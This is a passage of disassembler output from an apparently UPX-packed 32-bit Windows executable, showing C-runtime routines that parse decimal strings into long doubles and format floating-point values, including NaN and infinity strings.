off_41AEFB[ecx*4] ; switch jump loc_41A8CD: ; DATA XREF: UPX0:off_41AEFBo mov cl, al ; jumptable 0041A8C6 case 0 sub cl, 31h cmp cl, 8 ja short loc_41A8DD loc_41A8D7: ; CODE XREF: sub_41A833+F9j ; sub_41A833+14Cj push 3 loc_41A8D9: ; CODE XREF: sub_41A833+203j ; sub_41A833+21Aj pop ecx dec edx jmp short loc_41A8BA ; --------------------------------------------------------------------------- loc_41A8DD: ; CODE XREF: sub_41A833+A2j mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jnz short loc_41A8F3 loc_41A8EE: ; CODE XREF: sub_41A833+161j push 5 loc_41A8F0: ; CODE XREF: sub_41A833+10Ej ; sub_41A833+13Aj ... pop ecx jmp short loc_41A8BA ; --------------------------------------------------------------------------- loc_41A8F3: ; CODE XREF: sub_41A833+B9j movsx eax, al sub eax, 2Bh jz short loc_41A918 dec eax dec eax jz short loc_41A90C sub eax, 3 jnz loc_41AA93 loc_41A908: ; CODE XREF: sub_41A833+11Aj ; sub_41A833+169j mov ecx, esi jmp short loc_41A8BA ; --------------------------------------------------------------------------- loc_41A90C: ; CODE XREF: sub_41A833+CAj push 2 pop ecx mov [ebp+var_74], 8000h jmp short loc_41A8BA ; --------------------------------------------------------------------------- loc_41A918: ; CODE XREF: sub_41A833+C6j and [ebp+var_74], 0 push 2 pop ecx jmp short loc_41A8BA ; --------------------------------------------------------------------------- loc_41A921: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo mov cl, al ; jumptable 0041A8C6 case 1 sub cl, 31h mov [ebp+var_58], esi cmp cl, 8 jbe short loc_41A8D7 mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jnz short loc_41A943 loc_41A93F: ; CODE XREF: sub_41A833+1A9j push 4 jmp short loc_41A8F0 ; --------------------------------------------------------------------------- loc_41A943: ; CODE XREF: sub_41A833+10Aj cmp al, 2Bh jz short loc_41A96F cmp al, 2Dh jz short loc_41A96F cmp al, bl jz short loc_41A908 loc_41A94F: ; CODE XREF: sub_41A833+1B7j cmp al, 43h jle loc_41AA93 cmp al, 45h jle short loc_41A96B cmp al, 63h jle loc_41AA93 cmp al, 65h jg loc_41AA93 loc_41A96B: ; CODE XREF: sub_41A833+126j push 6 jmp short loc_41A8F0 ; --------------------------------------------------------------------------- loc_41A96F: ; CODE XREF: sub_41A833+112j ; sub_41A833+116j ... dec edx push 0Bh jmp loc_41A8F0 ; --------------------------------------------------------------------------- loc_41A977: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo mov cl, al ; jumptable 0041A8C6 case 2 sub cl, 31h cmp cl, 8 jbe loc_41A8D7 mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jz loc_41A8EE cmp al, bl jz loc_41A908 loc_41A9A2: ; CODE XREF: sub_41A833+1FBj ; sub_41A833:loc_41AA61j mov edx, [ebp+var_54] jmp loc_41AABE ; --------------------------------------------------------------------------- loc_41A9AA: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo mov [ebp+var_58], esi ; jumptable 0041A8C6 case 3 jmp short loc_41A9C9 ; --------------------------------------------------------------------------- loc_41A9AF: ; CODE XREF: sub_41A833+198j cmp al, 39h jg short loc_41A9CD cmp [ebp+var_4C], 19h jnb short loc_41A9C3 inc [ebp+var_4C] sub al, bl mov [edi], al inc edi jmp short loc_41A9C6 ; --------------------------------------------------------------------------- loc_41A9C3: ; CODE XREF: sub_41A833+184j inc [ebp+var_50] loc_41A9C6: ; CODE XREF: sub_41A833+18Ej mov al, [edx] inc edx loc_41A9C9: ; CODE XREF: sub_41A833+17Aj cmp al, bl jge short loc_41A9AF loc_41A9CD: ; CODE XREF: sub_41A833+17Ej mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jz loc_41A93F loc_41A9E2: ; CODE XREF: sub_41A833+1D8j ; sub_41A833+1F2j cmp al, 2Bh jz short loc_41A96F cmp al, 2Dh jz short loc_41A96F jmp loc_41A94F ; --------------------------------------------------------------------------- loc_41A9EF: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo cmp [ebp+var_4C], 0 ; jumptable 0041A8C6 case 4 mov [ebp+var_58], esi mov [ebp+var_5C], esi jnz short loc_41AA21 jmp short loc_41AA03 ; --------------------------------------------------------------------------- loc_41A9FD: ; CODE XREF: sub_41A833+1D2j dec [ebp+var_50] mov al, [edx] inc edx loc_41AA03: ; CODE XREF: sub_41A833+1C8j cmp al, bl jz short loc_41A9FD jmp short loc_41AA21 ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A833+1F0j cmp al, 39h jg short loc_41A9E2 cmp [ebp+var_4C], 19h jnb short loc_41AA1E inc [ebp+var_4C] sub al, bl mov [edi], al inc edi dec [ebp+var_50] loc_41AA1E: ; CODE XREF: sub_41A833+1DEj mov al, [edx] inc edx loc_41AA21: ; CODE XREF: sub_41A833+1C6j ; sub_41A833+1D4j cmp al, bl jge short loc_41AA09 jmp short loc_41A9E2 ; --------------------------------------------------------------------------- loc_41AA27: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo sub al, bl ; jumptable 0041A8C6 case 5 mov [ebp+var_5C], esi cmp al, 9 ja loc_41A9A2 push 4 jmp loc_41A8D9 ; --------------------------------------------------------------------------- loc_41AA3B: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo lea ecx, [edx-2] ; jumptable 0041A8C6 case 6 mov [ebp+var_54], ecx mov cl, al sub cl, 31h cmp cl, 8 ja short loc_41AA52 loc_41AA4B: ; CODE XREF: sub_41A833+25Ej ; sub_41A833+26Bj push 9 jmp loc_41A8D9 ; --------------------------------------------------------------------------- loc_41AA52: ; CODE XREF: sub_41A833+216j movsx eax, al sub eax, 2Bh jz short loc_41AA7A dec eax dec eax jz short loc_41AA6E sub eax, 3 loc_41AA61: ; CODE XREF: sub_41A833+26Fj jnz loc_41A9A2 push 8 jmp loc_41A8F0 ; --------------------------------------------------------------------------- loc_41AA6E: ; CODE XREF: sub_41A833+229j ; sub_41A833+287j or [ebp+var_68], 0FFFFFFFFh push 7 pop ecx jmp loc_41A8BA ; --------------------------------------------------------------------------- loc_41AA7A: ; CODE XREF: sub_41A833+225j ; sub_41A833+283j push 7 jmp loc_41A8F0 ; --------------------------------------------------------------------------- loc_41AA81: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo mov [ebp+var_60], esi ; jumptable 0041A8C6 case 8 jmp short loc_41AA89 ; --------------------------------------------------------------------------- loc_41AA86: ; CODE XREF: sub_41A833+258j mov al, [edx] inc edx loc_41AA89: ; CODE XREF: sub_41A833+251j cmp al, bl jz short loc_41AA86 sub al, 31h cmp al, 8 jbe short loc_41AA4B loc_41AA93: ; CODE XREF: sub_41A833+CFj ; sub_41A833+11Ej ... dec edx jmp short loc_41AABE ; --------------------------------------------------------------------------- loc_41AA96: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo mov cl, al ; jumptable 0041A8C6 case 7 sub cl, 31h cmp cl, 8 jbe short loc_41AA4B cmp al, bl jmp short loc_41AA61 ; --------------------------------------------------------------------------- loc_41AAA4: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo cmp [ebp+arg_18], 0 ; jumptable 0041A8C6 case 11 jz short loc_41AAF1 movsx eax, al sub eax, 2Bh lea ecx, [edx-1] mov [ebp+var_54], ecx jz short loc_41AA7A dec eax dec eax jz short loc_41AA6E mov edx, ecx loc_41AABE: ; CODE XREF: sub_41A833+172j ; sub_41A833+261j ... cmp [ebp+var_58], 0 mov eax, [ebp+var_70] mov [eax], edx jz loc_41AEA6 push 18h pop eax cmp [ebp+var_4C], eax jbe short loc_41AAE5 cmp [ebp+var_9], 5 jl short loc_41AADE inc [ebp+var_9] loc_41AADE: ; CODE XREF: sub_41A833+2A6j dec edi inc [ebp+var_50] mov [ebp+var_4C], eax loc_41AAE5: ; CODE XREF: sub_41A833+2A0j cmp [ebp+var_4C], 0 jbe loc_41AECD jmp short loc_41AB4A ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: sub_41A833+275j push 0Ah pop ecx dec edx loc_41AAF5: ; CODE XREF: sub_41A833+8Dj ; sub_41A833+93j ; DATA XREF: ... cmp ecx, 0Ah ; default ; jumptable 0041A8C6 case 10 jnz loc_41A8BA jmp short loc_41AABE ; --------------------------------------------------------------------------- loc_41AB00: ; CODE XREF: sub_41A833+93j ; DATA XREF: UPX0:off_41AEFBo mov [ebp+var_60], esi ; jumptable 0041A8C6 case 9 xor ecx, ecx jmp short loc_41AB20 ; --------------------------------------------------------------------------- loc_41AB07: ; CODE XREF: sub_41A833+2EFj cmp al, 39h jg short loc_41AB2B imul ecx, 0Ah movsx esi, al lea ecx, [ecx+esi-30h] cmp ecx, 1450h jg short loc_41AB26 mov al, [edx] inc edx loc_41AB20: ; CODE XREF: sub_41A833+2D2j cmp al, bl jge short loc_41AB07 jmp short loc_41AB2B ; --------------------------------------------------------------------------- loc_41AB26: ; CODE XREF: sub_41A833+2E8j mov ecx, 1451h loc_41AB2B: ; CODE XREF: sub_41A833+2D6j ; sub_41A833+2F1j mov [ebp+var_64], ecx jmp short loc_41AB3B ; --------------------------------------------------------------------------- loc_41AB30: ; CODE XREF: sub_41A833+30Aj cmp al, 39h jg loc_41AA93 mov al, [edx] inc edx loc_41AB3B: ; CODE XREF: sub_41A833+2FBj cmp al, bl jge short loc_41AB30 jmp loc_41AA93 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41A833+31Bj dec [ebp+var_4C] inc [ebp+var_50] loc_41AB4A: ; CODE XREF: sub_41A833+2BCj dec edi cmp byte ptr [edi], 0 jz short loc_41AB44 lea eax, [ebp+var_3C] push eax push [ebp+var_4C] lea eax, [ebp+var_20] push eax call sub_41BC8C mov eax, [ebp+var_64] xor edx, edx add esp, 0Ch cmp [ebp+var_68], edx jge short loc_41AB6F neg eax loc_41AB6F: ; CODE XREF: sub_41A833+338j add eax, [ebp+var_50] cmp [ebp+var_60], edx jnz short loc_41AB7A add eax, [ebp+arg_10] loc_41AB7A: ; CODE XREF: sub_41A833+342j cmp [ebp+var_5C], edx jnz short loc_41AB82 sub eax, [ebp+arg_14] loc_41AB82: ; CODE XREF: sub_41A833+34Aj cmp eax, 1450h jg loc_41AEAF cmp eax, 0FFFFEBB0h jl loc_41AEC6 mov ecx, offset dword_42E060 sub ecx, 60h mov [ebp+var_54], eax cmp eax, edx jz loc_41AE94 jge short loc_41ABBA neg eax mov ecx, offset dword_42E1C0 mov [ebp+var_54], eax sub ecx, 60h loc_41ABBA: ; CODE XREF: sub_41A833+378j cmp [ebp+arg_C], edx jnz short loc_41ABC5 xor eax, eax mov word ptr [ebp+var_3C], ax loc_41ABC5: ; CODE XREF: sub_41A833+38Aj cmp [ebp+var_54], edx jz loc_41AE94 jmp short loc_41ABD5 ; --------------------------------------------------------------------------- loc_41ABD0: ; CODE XREF: sub_41A833+65Bj mov ecx, [ebp+var_7C] xor edx, edx loc_41ABD5: ; CODE XREF: sub_41A833+39Bj mov eax, [ebp+var_54] sar [ebp+var_54], 3 add ecx, 54h and eax, 7 mov [ebp+var_7C], ecx cmp eax, edx jz loc_41AE8A imul eax, 0Ch add eax, ecx mov ebx, eax mov eax, 8000h cmp [ebx], ax jb short loc_41AC0C mov esi, ebx lea edi, [ebp+var_48] movsd movsd movsd dec [ebp+var_46] lea ebx, [ebp+var_48] loc_41AC0C: ; CODE XREF: sub_41A833+3C9j movzx ecx, word ptr [ebx+0Ah] xor eax, eax mov [ebp+var_50], eax mov [ebp+var_2C], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov eax, [ebp+var_32] mov esi, ecx mov edx, 7FFFh xor esi, eax and eax, edx and ecx, edx and esi, 8000h mov edi, 7FFFh lea edx, [ecx+eax] mov [ebp+var_70], esi movzx edx, dx cmp ax, di jnb loc_41AE6C cmp cx, di jnb loc_41AE6C mov edi, 0BFFDh cmp dx, di ja loc_41AE6C mov esi, 3FBFh cmp dx, si ja short loc_41AC79 xor eax, eax mov [ebp+var_38], eax mov [ebp+var_3C], eax jmp loc_41AE87 ; --------------------------------------------------------------------------- loc_41AC79: ; CODE XREF: sub_41A833+437j xor esi, esi cmp ax, si jnz short loc_41AC9F inc edx test dword ptr [ebp-34h], 7FFFFFFFh jnz short loc_41AC9F cmp [ebp+var_38], esi jnz short loc_41AC9F cmp [ebp+var_3C], esi jnz short loc_41AC9F xor eax, eax mov word ptr [ebp+var_32], ax jmp loc_41AE8A ; --------------------------------------------------------------------------- loc_41AC9F: ; CODE XREF: sub_41A833+44Bj ; sub_41A833+455j ... cmp cx, si jnz short loc_41ACC5 inc edx test dword ptr [ebx+8], 7FFFFFFFh jnz short loc_41ACC5 cmp [ebx+4], esi jnz short loc_41ACC5 cmp [ebx], esi jnz short loc_41ACC5 mov [ebp-34h], esi mov [ebp+var_38], esi mov [ebp+var_3C], esi jmp loc_41AE8A ; --------------------------------------------------------------------------- loc_41ACC5: ; CODE XREF: sub_41A833+46Fj ; sub_41A833+479j ... mov [ebp+var_68], esi lea edi, [ebp+var_28] mov [ebp+var_58], 5 loc_41ACD2: ; CODE XREF: sub_41A833+50Cj mov eax, [ebp+var_68] mov ecx, [ebp+var_58] add eax, eax mov [ebp+var_64], ecx test ecx, ecx jle short loc_41AD33 lea eax, [ebp+eax+var_3C] mov [ebp+var_5C], eax lea eax, [ebx+8] mov [ebp+var_60], eax loc_41ACEE: ; CODE XREF: sub_41A833+4FEj mov eax, [ebp+var_60] mov ecx, [ebp+var_5C] movzx ecx, word ptr [ecx] movzx eax, word ptr [eax] and [ebp+var_4C], 0 imul eax, ecx mov ecx, [edi-4] lea esi, [ecx+eax] cmp esi, ecx jb short loc_41AD0F cmp esi, eax jnb short loc_41AD16 loc_41AD0F: ; CODE XREF: sub_41A833+4D6j mov [ebp+var_4C], 1 loc_41AD16: ; CODE XREF: sub_41A833+4DAj cmp [ebp+var_4C], 0 mov [edi-4], esi jz short loc_41AD22 inc word ptr [edi] loc_41AD22: ; CODE XREF: sub_41A833+4EAj add [ebp+var_5C], 2 sub [ebp+var_60], 2 dec [ebp+var_64] cmp [ebp+var_64], 0 jg short loc_41ACEE loc_41AD33: ; CODE XREF: sub_41A833+4ACj inc edi inc edi inc [ebp+var_68] dec [ebp+var_58] cmp [ebp+var_58], 0 jg short loc_41ACD2 add edx, 0C002h test dx, dx jle short loc_41AD83 loc_41AD4C: ; CODE XREF: sub_41A833+549j mov edi, [ebp+var_24] test edi, edi js short loc_41AD7E mov esi, [ebp+var_28] mov eax, [ebp+var_2C] shl [ebp+var_2C], 1 shr eax, 1Fh mov ecx, esi add esi, esi or esi, eax shr ecx, 1Fh lea eax, [edi+edi] or eax, ecx add edx, 0FFFFh mov [ebp+var_28], esi mov [ebp+var_24], eax test dx, dx jg short loc_41AD4C loc_41AD7E: ; CODE XREF: sub_41A833+51Ej test dx, dx jg short loc_41ADD0 loc_41AD83: ; CODE XREF: sub_41A833+517j add edx, 0FFFFh test dx, dx jge short loc_41ADD0 mov eax, edx neg eax movzx esi, ax add edx, esi loc_41AD97: ; CODE XREF: sub_41A833+591j test byte ptr [ebp+var_2C], 1 jz short loc_41ADA0 inc [ebp+var_50] loc_41ADA0: ; CODE XREF: sub_41A833+568j mov eax, [ebp+var_24] mov edi, [ebp+var_28] mov ecx, [ebp+var_28] shr [ebp+var_24], 1 shl eax, 1Fh shr edi, 1 or edi, eax mov eax, [ebp+var_2C] shl ecx, 1Fh shr eax, 1 or eax, ecx dec esi mov [ebp+var_28], edi mov [ebp+var_2C], eax jnz short loc_41AD97 cmp [ebp+var_50], esi jz short loc_41ADD0 or word ptr [ebp+var_2C], 1 loc_41ADD0: ; CODE XREF: sub_41A833+54Ej ; sub_41A833+559j ... mov eax, 8000h mov ecx, eax cmp word ptr [ebp+var_2C], cx ja short loc_41ADEE mov ecx, [ebp+var_2C] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_41AE22 loc_41ADEE: ; CODE XREF: sub_41A833+5A8j cmp [ebp+var_2C+2], 0FFFFFFFFh jnz short loc_41AE1F and [ebp+var_2C+2], 0 cmp [ebp+var_28+2], 0FFFFFFFFh jnz short loc_41AE1A and [ebp+var_28+2], 0 mov ecx, 0FFFFh cmp word ptr [ebp+var_24+2], cx jnz short loc_41AE14 mov word ptr [ebp+var_24+2], ax inc edx jmp short loc_41AE22 ; --------------------------------------------------------------------------- loc_41AE14: ; CODE XREF: sub_41A833+5D8j inc word ptr [ebp+var_24+2] jmp short loc_41AE22 ; --------------------------------------------------------------------------- loc_41AE1A: ; CODE XREF: sub_41A833+5C9j inc [ebp+var_28+2] jmp short loc_41AE22 ; --------------------------------------------------------------------------- loc_41AE1F: ; CODE XREF: sub_41A833+5BFj inc [ebp+var_2C+2] loc_41AE22: ; CODE XREF: sub_41A833+5B9j ; sub_41A833+5DFj ... mov eax, 7FFFh cmp dx, ax jb short loc_41AE4F xor eax, eax xor ecx, ecx cmp word ptr [ebp+var_70], ax mov [ebp+var_38], eax setz cl mov [ebp+var_3C], eax dec ecx and ecx, 80000000h add ecx, 7FFF8000h mov [ebp-34h], ecx jmp short loc_41AE8A ; --------------------------------------------------------------------------- loc_41AE4F: ; CODE XREF: sub_41A833+5F7j mov ax, word ptr [ebp+var_2C+2] or edx, [ebp+var_70] mov word ptr [ebp+var_3C], ax mov eax, [ebp+var_28] mov [ebp+var_3C+2], eax mov eax, [ebp+var_24] mov [ebp+var_38+2], eax mov word ptr [ebp+var_32], dx jmp short loc_41AE8A ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41A833+412j ; sub_41A833+41Bj ... xor eax, eax test si, si setz al and [ebp+var_38], 0 dec eax and eax, 80000000h add eax, 7FFF8000h and [ebp+var_3C], 0 loc_41AE87: ; CODE XREF: sub_41A833+441j mov [ebp-34h], eax loc_41AE8A: ; CODE XREF: sub_41A833+3B4j ; sub_41A833+467j ... cmp [ebp+var_54], 0 jnz loc_41ABD0 loc_41AE94: ; CODE XREF: sub_41A833+372j ; sub_41A833+395j mov eax, [ebp-34h] movzx ecx, word ptr [ebp+var_3C] mov esi, [ebp+var_3C+2] mov edx, [ebp+var_38+2] shr eax, 10h jmp short loc_41AED5 ; --------------------------------------------------------------------------- loc_41AEA6: ; CODE XREF: sub_41A833+294j mov [ebp+var_6C], 4 jmp short loc_41AECD ; --------------------------------------------------------------------------- loc_41AEAF: ; CODE XREF: sub_41A833+354j xor esi, esi mov eax, 7FFFh mov edx, 80000000h xor ecx, ecx mov [ebp+var_6C], 2 jmp short loc_41AED5 ; --------------------------------------------------------------------------- loc_41AEC6: ; CODE XREF: sub_41A833+35Fj mov [ebp+var_6C], 1 loc_41AECD: ; CODE XREF: sub_41A833+2B6j ; sub_41A833+67Aj xor ecx, ecx xor eax, eax xor edx, edx xor esi, esi loc_41AED5: ; CODE XREF: sub_41A833+671j ; sub_41A833+691j mov edi, [ebp+var_78] or eax, [ebp+var_74] mov [edi], cx mov [edi+0Ah], ax mov eax, [ebp+var_6C] mov [edi+2], esi mov [edi+6], edx loc_41AEEB: ; CODE XREF: sub_41A833+65j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_41A833 endp ; --------------------------------------------------------------------------- db 90h off_41AEFB dd offset loc_41A8CD ; DATA XREF: sub_41A833+93r dd offset loc_41A921 ; jump table for switch statement dd offset loc_41A977 dd offset loc_41A9AA dd offset loc_41A9EF dd offset loc_41AA27 dd offset loc_41AA3B dd offset loc_41AA96 dd offset loc_41AA81 dd offset loc_41AB00 dd offset loc_41AAF5 dd offset loc_41AAA4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF2B proc near ; CODE XREF: sub_419BA4+41p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 74h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_14] push esi push edi lea esi, [ebp+arg_0] lea edi, [ebp+var_10] movsd movsd movsw mov edx, [ebp+var_8] mov ecx, edx mov eax, 8000h and ecx, eax and edx, 7FFFh mov [ebp+var_60], ebx mov byte ptr [ebp+var_30], 0CCh mov byte ptr [ebp+var_30+1], 0CCh mov byte ptr [ebp+var_30+2], 0CCh mov byte ptr [ebp+var_30+3], 0CCh mov byte ptr [ebp+var_2C], 0CCh mov byte ptr [ebp+var_2C+1], 0CCh mov byte ptr [ebp+var_2C+2], 0CCh mov byte ptr [ebp+var_2C+3], 0CCh mov byte ptr [ebp+var_28], 0CCh mov byte ptr [ebp+var_28+1], 0CCh mov byte ptr [ebp+var_28+2], 0FBh mov byte ptr [ebp+var_28+3], 3Fh mov [ebp+var_74], 1 mov [ebp+var_70], ecx test cx, cx jz short loc_41AFA7 mov byte ptr [ebx+2], 2Dh jmp short loc_41AFAB ; --------------------------------------------------------------------------- loc_41AFA7: ; CODE XREF: sub_41AF2B+74j mov byte ptr [ebx+2], 20h loc_41AFAB: ; CODE XREF: sub_41AF2B+7Aj mov esi, [ebp+var_C] mov edi, [ebp+var_10] test dx, dx jnz short loc_41AFE5 test esi, esi jnz short loc_41AFE5 test edi, edi jnz short loc_41AFE5 xor edx, edx cmp cx, ax setnz al dec al and al, 0Dh add al, 20h mov [ebx], dx mov [ebx+2], al mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h mov [ebx+5], dl loc_41AFDD: ; CODE XREF: sub_41AF2B+74Fj ; sub_41AF2B+91Fj xor eax, eax inc eax jmp loc_41B803 ; --------------------------------------------------------------------------- loc_41AFE5: ; CODE XREF: sub_41AF2B+89j ; sub_41AF2B+8Dj ... mov eax, 7FFFh cmp dx, ax jnz loc_41B092 xor eax, eax inc eax mov [ebx], ax mov eax, 80000000h cmp esi, eax jnz short loc_41B006 test edi, edi jz short loc_41B015 loc_41B006: ; CODE XREF: sub_41AF2B+D5j test esi, 40000000h jnz short loc_41B015 push offset a1Snan ; "1#SNAN" jmp short loc_41B066 ; --------------------------------------------------------------------------- loc_41B015: ; CODE XREF: sub_41AF2B+D9j ; sub_41AF2B+E1j test cx, cx jz short loc_41B02D cmp esi, 0C0000000h jnz short loc_41B02D test edi, edi jnz short loc_41B061 push offset a1Ind ; "1#IND" jmp short loc_41B03A ; --------------------------------------------------------------------------- loc_41B02D: ; CODE XREF: sub_41AF2B+EDj ; sub_41AF2B+F5j cmp esi, eax jnz short loc_41B061 test edi, edi jnz short loc_41B061 push offset a1Inf ; "1#INF" loc_41B03A: ; CODE XREF: sub_41AF2B+100j lea eax, [ebx+4] push 16h push eax call sub_40CD95 add esp, 0Ch xor esi, esi test eax, eax jz short loc_41B05B push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_41B05B: ; CODE XREF: sub_41AF2B+121j mov byte ptr [ebx+3], 5 jmp short loc_41B08B ; --------------------------------------------------------------------------- loc_41B061: ; CODE XREF: sub_41AF2B+F9j ; sub_41AF2B+104j ... push offset a1Qnan ; "1#QNAN" loc_41B066: ; CODE XREF: sub_41AF2B+E8j lea eax, [ebx+4] push 16h push eax call sub_40CD95 add esp, 0Ch xor esi, esi test eax, eax jz short loc_41B087 push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_41B087: ; CODE XREF: sub_41AF2B+14Dj mov byte ptr [ebx+3], 6 loc_41B08B: ; CODE XREF: sub_41AF2B+134j xor eax, eax jmp loc_41B803 ; --------------------------------------------------------------------------- loc_41B092: ; CODE XREF: sub_41AF2B+C2j movzx ecx, dx mov ebx, ecx imul ecx, 4D10h shr ebx, 8 mov eax, esi shr eax, 18h lea eax, [ebx+eax*2] imul eax, 4Dh lea eax, [eax+ecx-134312F4h] sar eax, 10h movzx eax, ax xor ecx, ecx movsx ebx, ax mov word ptr [ebp+var_20], cx mov ecx, offset dword_42E060 neg ebx sub ecx, 60h mov [ebp+var_4C], eax mov word ptr [ebp+var_16], dx mov [ebp+var_1A], esi mov [ebp+var_20+2], edi mov [ebp+var_64], ecx test ebx, ebx jz loc_41B37F jge short loc_41B0F2 mov eax, offset dword_42E1C0 neg ebx sub eax, 60h mov [ebp+var_64], eax loc_41B0F2: ; CODE XREF: sub_41AF2B+1B8j test ebx, ebx jz loc_41B37F loc_41B0FA: ; CODE XREF: sub_41AF2B+44Ej add [ebp+var_64], 54h mov ecx, ebx and ecx, 7 sar ebx, 3 test ecx, ecx jz loc_41B375 imul ecx, 0Ch add ecx, [ebp+var_64] mov eax, ecx mov [ebp+var_44], ecx mov ecx, 8000h cmp [eax], cx jb short loc_41B134 mov esi, eax lea edi, [ebp+var_3C] movsd movsd lea eax, [ebp+var_3C] movsd dec [ebp+var_3C+2] mov [ebp+var_44], eax loc_41B134: ; CODE XREF: sub_41AF2B+1F6j movzx edx, word ptr [eax+0Ah] xor ecx, ecx mov [ebp+var_54], ecx mov [ebp+var_10], ecx mov [ebp+var_C], ecx mov [ebp+var_8], ecx mov ecx, [ebp+var_16] mov esi, edx xor esi, ecx and esi, 8000h mov [ebp+var_48], esi mov esi, 7FFFh and ecx, esi and edx, esi lea esi, [edx+ecx] movzx edi, si mov esi, 7FFFh cmp cx, si jnb loc_41B41F cmp dx, si jnb loc_41B41F mov esi, 0BFFDh cmp di, si ja loc_41B41F mov esi, 3FBFh cmp di, si ja short loc_41B1A4 xor esi, esi loc_41B196: ; CODE XREF: sub_41AF2B+2B5j mov [ebp+var_1A+2], esi loc_41B199: ; CODE XREF: sub_41AF2B+50Dj mov [ebp-1Ch], esi mov [ebp+var_20], esi jmp loc_41B377 ; --------------------------------------------------------------------------- loc_41B1A4: ; CODE XREF: sub_41AF2B+267j xor esi, esi cmp cx, si jnz short loc_41B1CA inc edi test [ebp+var_1A+2], 7FFFFFFFh jnz short loc_41B1CA cmp [ebp-1Ch], esi jnz short loc_41B1CA cmp [ebp+var_20], esi jnz short loc_41B1CA xor eax, eax mov word ptr [ebp+var_16], ax jmp loc_41B377 ; --------------------------------------------------------------------------- loc_41B1CA: ; CODE XREF: sub_41AF2B+27Ej ; sub_41AF2B+288j ... cmp dx, si jnz short loc_41B1E2 inc edi test dword ptr [eax+8], 7FFFFFFFh jnz short loc_41B1E2 cmp [eax+4], esi jnz short loc_41B1E2 cmp [eax], esi jz short loc_41B196 loc_41B1E2: ; CODE XREF: sub_41AF2B+2A2j ; sub_41AF2B+2ACj ... and [ebp+var_58], esi lea esi, [ebp+var_C] mov [ebp+var_40], 5 loc_41B1EF: ; CODE XREF: sub_41AF2B+334j mov ecx, [ebp+var_58] mov edx, [ebp+var_40] add ecx, ecx mov [ebp+var_50], edx test edx, edx jle short loc_41B253 lea ecx, [ebp+ecx+var_20] add eax, 8 mov [ebp+var_6C], ecx mov [ebp+var_68], eax loc_41B20B: ; CODE XREF: sub_41AF2B+323j mov eax, [ebp+var_6C] movzx ecx, word ptr [eax] mov eax, [ebp+var_68] movzx eax, word ptr [eax] mov edx, [esi-4] imul ecx, eax and [ebp+var_5C], 0 lea eax, [edx+ecx] cmp eax, edx jb short loc_41B22C cmp eax, ecx jnb short loc_41B233 loc_41B22C: ; CODE XREF: sub_41AF2B+2FBj mov [ebp+var_5C], 1 loc_41B233: ; CODE XREF: sub_41AF2B+2FFj cmp [ebp+var_5C], 0 mov [esi-4], eax jz short loc_41B23F inc word ptr [esi] loc_41B23F: ; CODE XREF: sub_41AF2B+30Fj add [ebp+var_6C], 2 sub [ebp+var_68], 2 dec [ebp+var_50] cmp [ebp+var_50], 0 jg short loc_41B20B mov eax, [ebp+var_44] loc_41B253: ; CODE XREF: sub_41AF2B+2D1j inc esi inc esi inc [ebp+var_58] dec [ebp+var_40] cmp [ebp+var_40], 0 jg short loc_41B1EF add edi, 0C002h test di, di jle short loc_41B2A7 loc_41B26C: ; CODE XREF: sub_41AF2B+375j test [ebp+var_8], 80000000h jnz short loc_41B2A2 mov eax, [ebp+var_C] mov ecx, [ebp+var_10] shl [ebp+var_10], 1 mov edx, eax add eax, eax shr ecx, 1Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_8] shr edx, 1Fh add eax, eax or eax, edx add edi, 0FFFFh mov [ebp+var_8], eax test di, di jg short loc_41B26C loc_41B2A2: ; CODE XREF: sub_41AF2B+348j test di, di jg short loc_41B2F4 loc_41B2A7: ; CODE XREF: sub_41AF2B+33Fj add edi, 0FFFFh test di, di jge short loc_41B2F4 mov eax, edi neg eax movzx eax, ax add edi, eax loc_41B2BB: ; CODE 